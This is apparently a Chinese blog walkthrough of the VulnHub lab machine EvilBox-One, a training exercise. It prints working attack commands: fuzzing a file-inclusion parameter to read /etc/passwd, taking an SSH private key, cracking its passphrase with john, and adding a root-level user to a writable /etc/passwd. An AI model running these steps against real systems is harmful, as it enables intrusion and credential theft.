一、环境搭建
-
靶场下载地址:https://download.vulnhub.com/evilbox/EvilBox—One.ova
-
下载之后,使用 VM导入靶场环境
-
将靶场的网卡模式设置为桥接模式,启动就行
靶场问题解决办法:
打开靶场是这样子的,无法获取ip
我们进入配置,选择第二个进入
然后在这个界面按e键
然后进入这个界面,找到这个地方进行修改
然后按ctel+x进入这个模式
输入ip a 查看网卡
然后进入这个下面,我的是vi /etc/network/interfaces
vi /etc/network/interfaces 或者 vi /etc/netplan/00-installer-config.yaml
哪个文件存在就修改哪个配置文件,不同系统配置文件不同(存在的话可以输入一部分table键自动补全路径) |
然后这里是改成我们对应的网卡名就行
然后重启他还是没有ip,只是没有显示,我们用可以通网的kali扫一下网段就出来了
直接可以访问目标
参考链接:
https://blog.csdn.net/kui576/article/details/126931200 #vi命令 |
https://blog.csdn.net/weixin_45682839/article/details/126670210 #ip无法显示问题 |
二、信息收集
端口扫描:
ssh爆破:
配置信息:
目录扫描:
三、漏洞利用
经过了简单的信息收集,我们没有发现可以利用的点,但是经过对此的尝试并且切换扫描器扫描,发现还有一个文件存在evil.php
一直没找到漏洞,只有一个evil.php文件,这个时候就想,会不会存在包含的漏洞,毕竟一直没找到其他漏洞,那这可以尝试一下,我们这里用到的工具是ffuf工具,得到command
apt-get install ffuf #安装工具 |
https://github.com/ffuf/ffuf #下载地址 |
格式:ffuf -u 目标地址/FUZZ -w 字典 |
ffuf -c -r -u 'http://192.168.0.101/secret/evil.php?FUZZ=/etc/passwd' -w /root/Desktop/SecLists-master/Discovery/Web-Content/common.txt -fs 0 |
我们看看是存在文件包含漏洞的
我们可以看到一个root用户
那么我们可以找一下ssh公钥,默认情况下,当你把一个客户端用户的公钥放到目标服务器上时,那么在目标服务器的“ssh”目录下就会有一个“authorized_keys”文件,这个文件会包含这个用户的公钥文件。(这个文件位置和文件名是默认的)
当存在/.ssh/authorized_keys时,默认情况下,私钥id_rsa应该在/.ssh/id_rsa,因为在生成公私钥对的时候,它们默认都是在.ssh目录下的,而生成的私钥名称默认就是id_rsa
一般用户的 .ssh 目录下会存在三个文件: id_rsa : 私钥。 authorized_keys : 认证关键字文件。 id_rsa.pub : 公钥 |
我们知道目标开启了22端口,那我们既然也有公私钥,我们可以查看一下ssh支持什么认证方式,可以看到是支持密码登录和公钥登录的
ssh [email protected].0.101 -v |
那么我们来创建私钥,先打开id_rsa把私钥放进去,然后加入权限运行id_rsa文件
vim id_rsa |
Chmod 600 id_rsa #加权限 |
尝试登录失败,发现还需要密码,出现这个情况是因为我们生成公钥的时候又给私钥增加了一个密码,意味着需要把原来的私钥密码解密出来
ssh [email protected]1 -i id_rsa |
我们这里用到一个工具john,这个工具是可以爆破私钥密码的,使用 john 脚本把私钥转换成 john 可识别的 ssh 密钥文件,会生成hash文件
/usr/share/john/ssh2john.py id_rsa > hash |
然后进行爆破,使用john自带的字典爆破,得到明文unicorn
john hash --wordlist=/usr/share/wordlists/rockyou.txt |
得到明文之后我们不能直接登录,因为没有权限,我们还是需要用到我们的私钥id_rsa的文件来登录,成功登录,得到flag
ssh [email protected]1 -i id_rsa |
四、提权
我这里直接脚本查找提权,把脚本下载到目标/tmp目录上
https://github.com/carlospolop/PEASS-ng |
然后找到可写文件
既然可以写文件,那么我们用到openssl就脚本写入一个密码
openssl passwd -1 -salt banxain |
写入到 /etc/passwd
echo 'banxian:$1$banxain$Xfxmfw0I4dXa3HzhKnhv//:0:0::/root:/bin/bash' >> /etc/passwd |
然后我们切换用户banxian发现切换不进去
还有一种办法,既然写不进去,那么我们可以直接修改passwd文件,我们先生成一个密码
openssl passwd -1 #-1一种加密方式 |
然后写入passwd
Vi /etc/passwd |
banxian:$1$ZUIVca32$xNJLJcD7a7Z74kgjDOe3q.:0:0::/root:/bin/bash |
成功登录root用户
打完结束收工
原文始发于微信公众号(半仙想变强):VulnHub实战靶场:EvilBox-One
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论